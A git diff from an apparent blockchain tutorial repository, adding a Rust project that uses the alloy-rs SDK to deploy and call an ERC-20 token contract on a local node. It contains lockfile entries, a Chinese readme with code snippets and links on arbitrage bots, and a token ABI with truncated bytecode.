+version = "0.1.27"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "tracing-core"
+version = "0.1.32"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
+dependencies = [
+ "once_cell",
+]
+
+[[package]]
+name = "tracing-futures"
+version = "0.2.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2"
+dependencies = [
+ "futures",
+ "futures-task",
+ "pin-project",
+ "tracing",
+]
+
+[[package]]
+name = "try-lock"
+version = "0.2.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
+
+[[package]]
+name = "tungstenite"
+version = "0.26.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4793cb5e56680ecbb1d843515b23b6de9a75eb04b66643e256a396d43be33c13"
+dependencies = [
+ "bytes",
+ "data-encoding",
+ "http",
+ "httparse",
+ "log",
+ "rand 0.9.1",
+ "rustls",
+ "rustls-pki-types",
+ "sha1",
+ "thiserror 2.0.12",
+ "utf-8",
+]
+
+[[package]]
+name = "typenum"
+version = "1.17.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
+
+[[package]]
+name = "ucd-trie"
+version = "0.1.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed646292ffc8188ef8ea4d1e0e0150fb15a5c2e12ad9b8fc191ae7a8a7f3c4b9"
+
+[[package]]
+name = "uint"
+version = "0.9.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76f64bba2c53b04fcab63c01a7d7427eadc821e3bc48c34dc9ba29c501164b52"
+dependencies = [
+ "byteorder",
+ "crunchy",
+ "hex",
+ "static_assertions",
+]
+
+[[package]]
+name = "unarray"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94"
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
+
+[[package]]
+name = "unicode-xid"
+version = "0.2.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
+
+[[package]]
+name = "untrusted"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
+
+[[package]]
+name = "url"
+version = "2.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f7c25da092f0a868cdf09e8674cd3b7ef3a7d92a24253e663a2fb85e2496de56"
+dependencies = [
+ "form_urlencoded",
+ "idna",
+ "percent-encoding",
+]
+
+[[package]]
+name = "utf-8"
+version = "0.7.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
+
+[[package]]
+name = "utf16_iter"
+version = "1.0.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246"
+
+[[package]]
+name = "utf8_iter"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
+
+[[package]]
+name = "utf8parse"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
+
+[[package]]
+name = "valuable"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
+
+[[package]]
+name = "vcpkg"
+version = "0.2.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
+
+[[package]]
+name = "version_check"
+version = "0.9.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
+
+[[package]]
+name = "wait-timeout"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6"
+dependencies = [
+ "libc",
+]
+
+[[package]]
+name = "want"
+version = "0.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
+dependencies = [
+ "try-lock",
+]
+
+[[package]]
+name = "wasi"
+version = "0.11.0+wasi-snapshot-preview1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
+
+[[package]]
+name = "wasi"
+version = "0.14.2+wasi-0.2.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
+dependencies = [
+ "wit-bindgen-rt",
+]
+
+[[package]]
+name = "wasm-bindgen"
+version = "0.2.92"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4be2531df63900aeb2bca0daaaddec08491ee64ceecbee5076636a3b026795a8"
+dependencies = [
+ "cfg-if",
+ "wasm-bindgen-macro",
+]
+
+[[package]]
+name = "wasm-bindgen-backend"
+version = "0.2.92"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "614d787b966d3989fa7bb98a654e369c762374fd3213d212cfc0251257e747da"
+dependencies = [
+ "bumpalo",
+ "log",
+ "once_cell",
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-futures"
+version = "0.4.42"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76bc14366121efc8dbb487ab05bcc9d346b3b5ec0eaa76e46594cabbe51762c0"
+dependencies = [
+ "cfg-if",
+ "js-sys",
+ "wasm-bindgen",
+ "web-sys",
+]
+
+[[package]]
+name = "wasm-bindgen-macro"
+version = "0.2.92"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1f8823de937b71b9460c0c34e25f3da88250760bec0ebac694b49997550d726"
+dependencies = [
+ "quote",
+ "wasm-bindgen-macro-support",
+]
+
+[[package]]
+name = "wasm-bindgen-macro-support"
+version = "0.2.92"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e94f17b526d0a461a191c78ea52bbce64071ed5c04c9ffe424dcb38f74171bb7"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "wasm-bindgen-backend",
+ "wasm-bindgen-shared",
+]
+
+[[package]]
+name = "wasm-bindgen-shared"
+version = "0.2.92"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "af190c94f2773fdb3729c55b007a722abb5384da03bc0986df4c289bf5567e96"
+
+[[package]]
+name = "wasmtimer"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0048ad49a55b9deb3953841fa1fc5858f0efbcb7a18868c899a360269fac1b23"
+dependencies = [
+ "futures",
+ "js-sys",
+ "parking_lot",
+ "pin-utils",
+ "slab",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "web-sys"
+version = "0.3.69"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "77afa9a11836342370f4817622a2f0f418b134426d91a82dfb48f532d2ec13ef"
+dependencies = [
+ "js-sys",
+ "wasm-bindgen",
+]
+
+[[package]]
+name = "webpki-roots"
+version = "0.26.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bd7c23921eeb1713a4e851530e9b9756e4fb0e89978582942612524cf09f01cd"
+dependencies = [
+ "rustls-pki-types",
+]
+
+[[package]]
+name = "widestring"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7219d36b6eac893fa81e84ebe06485e7dcbb616177469b142df14f1f4deb1311"
+
+[[package]]
+name = "windows-core"
+version = "0.61.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4763c1de310c86d75a878046489e2e5ba02c649d185f21c67d4cf8a56d098980"
+dependencies = [
+ "windows-implement",
+ "windows-interface",
+ "windows-link",
+ "windows-result",
+ "windows-strings",
+]
+
+[[package]]
+name = "windows-implement"
+version = "0.60.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "windows-interface"
+version = "0.59.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "windows-link"
+version = "0.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38"
+
+[[package]]
+name = "windows-result"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c64fd11a4fd95df68efcfee5f44a294fe71b8bc6a91993e2791938abcc712252"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-strings"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7a2ba9642430ee452d5a7aa78d72907ebe8cfda358e8cb7918a2050581322f97"
+dependencies = [
+ "windows-link",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.48.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+dependencies = [
+ "windows-targets 0.48.5",
+]
+
+[[package]]
+name = "windows-sys"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
+dependencies = [
+ "windows-targets 0.52.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+dependencies = [
+ "windows_aarch64_gnullvm 0.48.5",
+ "windows_aarch64_msvc 0.48.5",
+ "windows_i686_gnu 0.48.5",
+ "windows_i686_msvc 0.48.5",
+ "windows_x86_64_gnu 0.48.5",
+ "windows_x86_64_gnullvm 0.48.5",
+ "windows_x86_64_msvc 0.48.5",
+]
+
+[[package]]
+name = "windows-targets"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
+dependencies = [
+ "windows_aarch64_gnullvm 0.52.5",
+ "windows_aarch64_msvc 0.52.5",
+ "windows_i686_gnu 0.52.5",
+ "windows_i686_gnullvm",
+ "windows_i686_msvc 0.52.5",
+ "windows_x86_64_gnu 0.52.5",
+ "windows_x86_64_gnullvm 0.52.5",
+ "windows_x86_64_msvc 0.52.5",
+]
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+
+[[package]]
+name = "windows_aarch64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+
+[[package]]
+name = "windows_aarch64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+
+[[package]]
+name = "windows_i686_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
+
+[[package]]
+name = "windows_i686_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+
+[[package]]
+name = "windows_i686_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+
+[[package]]
+name = "windows_x86_64_gnu"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+
+[[package]]
+name = "windows_x86_64_gnullvm"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.48.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+
+[[package]]
+name = "windows_x86_64_msvc"
+version = "0.52.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
+
+[[package]]
+name = "winnow"
+version = "0.5.40"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "winnow"
+version = "0.7.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6cb8234a863ea0e8cd7284fcdd4f145233eb00fee02bbdd9861aec44e6477bc5"
+dependencies = [
+ "memchr",
+]
+
+[[package]]
+name = "winreg"
+version = "0.52.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a277a57398d4bfa075df44f501a17cfdf8542d224f0d36095a2adc7aee4ef0a5"
+dependencies = [
+ "cfg-if",
+ "windows-sys 0.48.0",
+]
+
+[[package]]
+name = "wit-bindgen-rt"
+version = "0.39.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
+dependencies = [
+ "bitflags",
+]
+
+[[package]]
+name = "write16"
+version = "1.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936"
+
+[[package]]
+name = "writeable"
+version = "0.5.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51"
+
+[[package]]
+name = "ws_stream_wasm"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7999f5f4217fe3818726b66257a4475f71e74ffd190776ad053fa159e50737f5"
+dependencies = [
+ "async_io_stream",
+ "futures",
+ "js-sys",
+ "log",
+ "pharos",
+ "rustc_version 0.4.0",
+ "send_wrapper",
+ "thiserror 1.0.61",
+ "wasm-bindgen",
+ "wasm-bindgen-futures",
+ "web-sys",
+]
+
+[[package]]
+name = "wyz"
+version = "0.5.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed"
+dependencies = [
+ "tap",
+]
+
+[[package]]
+name = "yoke"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c5b1314b079b0930c31e3af543d8ee1757b1951ae1e1565ec704403a7240ca5"
+dependencies = [
+ "serde",
+ "stable_deref_trait",
+ "yoke-derive",
+ "zerofrom",
+]
+
+[[package]]
+name = "yoke-derive"
+version = "0.7.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "28cc31741b18cb6f1d5ff12f5b7523e3d6eb0852bbbad19d73905511d9849b95"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "synstructure",
+]
+
+[[package]]
+name = "zerofrom"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "91ec111ce797d0e0784a1116d0ddcdbea84322cd79e5d5ad173daeba4f93ab55"
+dependencies = [
+ "zerofrom-derive",
+]
+
+[[package]]
+name = "zerofrom-derive"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0ea7b4a3637ea8669cedf0f1fd5c286a17f3de97b8dd5a70a6c167a1730e63a5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+ "synstructure",
+]
+
+[[package]]
+name = "zeroize"
+version = "1.8.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde"
+dependencies = [
+ "zeroize_derive",
+]
+
+[[package]]
+name = "zeroize_derive"
+version = "1.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "zerovec"
+version = "0.10.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079"
+dependencies = [
+ "yoke",
+ "zerofrom",
+ "zerovec-derive",
+]
+
+[[package]]
+name = "zerovec-derive"
+version = "0.10.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.101",
+]
diff --git a/basic/38-alloy-rust/Cargo.toml b/basic/38-alloy-rust/Cargo.toml
new file mode 100644
index 000000000..0616c43f8
--- /dev/null
+++ b/basic/38-alloy-rust/Cargo.toml
@@ -0,0 +1,22 @@
+[package]
+name = "alloy-rust"
+version = "0.1.0"
+edition = "2021"
+
+
+[[bin]]
+name = "monitor"
+path = "src/monitor.rs"
+
+[dependencies]
+alloy = { version = "0.15", features = ["full"] }
+tokio = { version = "1.38.2", features = ["full"] }
+dotenv = "0.15"
+log = "0.4.21"
+env_logger = "0.11.3"
+eyre = "0.6.12"
+bigdecimal = "0.4"
+futures = "0.3"
+
+
+
diff --git a/basic/38-alloy-rust/readme.md b/basic/38-alloy-rust/readme.md
new file mode 100644
index 000000000..4c4eccd7d
--- /dev/null
+++ b/basic/38-alloy-rust/readme.md
@@ -0,0 +1,120 @@
+## Outline
+
+本文旨在介绍如何使用 Rust SDK([alloy-rs](https://github.com/alloy-rs/alloy)) 与链上合约进行交互，进而开发 DApp。
+它的前身是ether-rs。
+
+参考文档：https://alloy.rs/examples/advanced/README
+
+更多demo: https://github.com/alloy-rs/examples/tree/main/examples
+
+## 1. 配置`.env`文件
+
+在`.env`文件中添加必要的配置，包括且不限于：
+
+- `RPC_URL`：节点 RPC 地址
+- `DEV_PRIVATE_KEY`：私钥
+
+## 2. 编写 Rust 代码
+
+在 Rust 项目中，我们可以通过如下代码（`main.rs`)与合约进行交互：
+
+1. 导入必要的依赖
+
+   ```rust
+   use std::env;
+   use alloy::{providers::ProviderBuilder, sol};
+   use alloy::network::{EthereumWallet, NetworkWallet};
+   use alloy::primitives::{U256};
+   use alloy::providers::Provider;
+   use alloy::signers::local::{PrivateKeySigner};
+   use dotenv::dotenv;
+   use eyre::Result;
+   use log::info;
+   ```
+
+2. 引入合约 abi
+
+   ```rust
+   sol!(
+       #[allow(missing_docs)]
+       #[sol(rpc)]
+       SimpleToken,
+       "src/abi/SimpleToken.json"
+   );
+   ```
+
+3. 初始化环境
+
+   ```rust
+   #[tokio::main]
+   async fn main() -> Result<(), Box<dyn std::error::Error>> {
+       dotenv().ok();
+       env_logger::init();
+       ...
+   }
+   ```
+
+4. 读取`.env`文件中的配置
+
+   ```rust
+   let rpc_url = env::var("RPC_URL").parse()?;
+   let private_key = env::var("PRIVATE_KEY")?;
+   ```
+
+5. 初始化 Wallet 和 Provider
+
+   ```rust
+   let signer: PrivateKeySigner = private_key.parse().expect("Failed to parse private key");
+   let address = signer.address();
+   let wallet = EthereumWallet::from(signer);
+   let provider =
+       ProviderBuilder::new().with_recommended_fillers().wallet(wallet).on_http(rpc_url);
+   ```
+
+6. 创建合约实例
+
+   ```rust
+   // 或者连接已有的合约
+   // let erc20_contract = SimpleToken::new("0xapple".parse()?, provider);
+   let erc20_contract = SimpleToken::deploy(provider).await?;
+   ```
+
+7. 调用合约方法
+
+   ```rust
+   let amount = U256::from(100u64);
+   let receipt = erc20_contract.transfer(address, amount).send().await?.get_receipt().await?;
+
+   assert_eq!(receipt.status(), true);
+   info!("Transfer successful");
+   ```
+
+8. 启动本地节点
+
+```shell
+   anvil
+```
+
+9. 运行项目
+
+```rust
+cargo run --bin alloy-rust
+cargo run --bin main
+```
+
+## 3. Build a fast MEV bot with Alloy's Primitive Types
+
+todo
+https://alloy.rs/guides/speed-up-using-u256
+
+Uniswap V2 Arbitrage Optimal Amount In： youtube
+https://www.youtube.com/watch?v=9EKksG-fF1k
+
+https://github.com/flashbots/simple-blind-arbitrage
+https://github.com/paco0x/amm-arbitrageur/blob/master/bot/index.ts
+
+## univ3 arbitrage：
+
+https://pawelurbanek.com/revm-alloy-anvil-arbitrage
+
+## 参考链接：
diff --git a/basic/38-alloy-rust/src/abi/SimpleToken.json b/basic/38-alloy-rust/src/abi/SimpleToken.json
new file mode 100644
index 000000000..517c9cba7
--- /dev/null
+++ b/basic/38-alloy-rust/src/abi/SimpleToken.json
@@ -0,0 +1,698 @@
+{
+  "abi": [
+    {
+      "type": "constructor",
+      "inputs": [],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "function",
+      "name": "allowance",
+      "inputs": [
+        {
+          "name": "owner",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "spender",
+          "type": "address",
+          "internalType": "address"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "approve",
+      "inputs": [
+        {
+          "name": "spender",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "amount",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool",
+          "internalType": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "function",
+      "name": "balanceOf",
+      "inputs": [
+        {
+          "name": "account",
+          "type": "address",
+          "internalType": "address"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "decimals",
+      "inputs": [],
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint8",
+          "internalType": "uint8"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "decreaseAllowance",
+      "inputs": [
+        {
+          "name": "spender",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "subtractedValue",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool",
+          "internalType": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "function",
+      "name": "increaseAllowance",
+      "inputs": [
+        {
+          "name": "spender",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "addedValue",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool",
+          "internalType": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "function",
+      "name": "name",
+      "inputs": [],
+      "outputs": [
+        {
+          "name": "",
+          "type": "string",
+          "internalType": "string"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "symbol",
+      "inputs": [],
+      "outputs": [
+        {
+          "name": "",
+          "type": "string",
+          "internalType": "string"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "totalSupply",
+      "inputs": [],
+      "outputs": [
+        {
+          "name": "",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "stateMutability": "view"
+    },
+    {
+      "type": "function",
+      "name": "transfer",
+      "inputs": [
+        {
+          "name": "to",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "amount",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool",
+          "internalType": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "function",
+      "name": "transferFrom",
+      "inputs": [
+        {
+          "name": "from",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "to",
+          "type": "address",
+          "internalType": "address"
+        },
+        {
+          "name": "amount",
+          "type": "uint256",
+          "internalType": "uint256"
+        }
+      ],
+      "outputs": [
+        {
+          "name": "",
+          "type": "bool",
+          "internalType": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable"
+    },
+    {
+      "type": "event",
+      "name": "Approval",
+      "inputs": [
+        {
+          "name": "owner",
+          "type": "address",
+          "indexed": true,
+          "internalType": "address"
+        },
+        {
+          "name": "spender",
+          "type": "address",
+          "indexed": true,
+          "internalType": "address"
+        },
+        {
+          "name": "value",
+          "type": "uint256",
+          "indexed": false,
+          "internalType": "uint256"
+        }
+      ],
+      "anonymous": false
+    },
+    {
+      "type": "event",
+      "name": "Transfer",
+      "inputs": [
+        {
+          "name": "from",
+          "type": "address",
+          "indexed": true,
+          "internalType": "address"
+        },
+        {
+          "name": "to",
+          "type": "address",
+          "indexed": true,
+          "internalType": "address"
+        },
+        {
+          "name": "value",
+          "type": "uint256",
+          "indexed": false,
+          "internalType": "uint256"
+        }
+      ],
+      "anonymous": false
+    }
+  ],
+  "bytecode": {
+    "object": "0x60806040523480156200001157600080fd5b506040518060400160405280600c81526020017f45524332304578616d706c6500000000000000000000000000000000000000008152506040518060400160405280600381526020017f58595a000000000000000000000000000000000000000000000000000000000081525081600390816200008f9190620004ed565b508060049081620000a19190620004ed565b505050620000e233620000b9620000e860201b60201c565b600a620000c7919062000764565b6103e8620000d69190620007b5565b620000f160201b60201c565b620008ec565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200015a9062000861565b60405180910390fd5b62000177600083836200026960201b60201c565b80600260008282546200018b919062000883565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001e2919062000883565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002499190620008cf565b60405180910390a362000265600083836200026e60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002f557607f821691505b